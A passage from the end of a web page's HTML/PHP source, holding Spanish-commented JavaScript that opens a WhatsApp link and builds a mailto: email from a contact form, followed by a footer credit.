nueva ventana/pestaña window.open(target, '_blank'); // Mostrar mensaje de éxito const ok = document.querySelector('.sent-message'); const err = document.querySelector('.error-message'); if (ok) ok.style.display = 'block'; if (err) err.style.display = 'none'; // Limpiar el formulario const form = document.getElementById('whatsappForm'); if (form) form.reset(); } function sendEmail(event) { event.preventDefault(); const toEmail = '<?php echo htmlspecialchars(getBlock('about','email','')); ?>'; if (!toEmail) { const err = document.querySelector('.error-message'); if (err) { err.textContent = 'Email de destino no configurado en el panel (Sobre mí).'; err.style.display = 'block'; } return; } const name = document.getElementById('name').value; const sender = document.getElementById('email').value; const message = document.getElementById('message').value; const subject = 'Nuevo mensaje de contacto'; const body = `Hola,\n\nNuevo mensaje desde el sitio web.\n\nNombre: ${name}\nEmail: ${sender}\n\nMensaje:\n${message}`; const url = `mailto:${encodeURIComponent(toEmail)}?subject=${encodeURIComponent(subject)}&body=${encodeURIComponent(body)}`; window.location.href = url; const ok = document.querySelector('.sent-message'); const err = document.querySelector('.error-message'); if (ok) ok.style.display = 'block'; if (err) err.style.display = 'none'; } </script> </body> </html>
Coded With 💗 by
0x6ick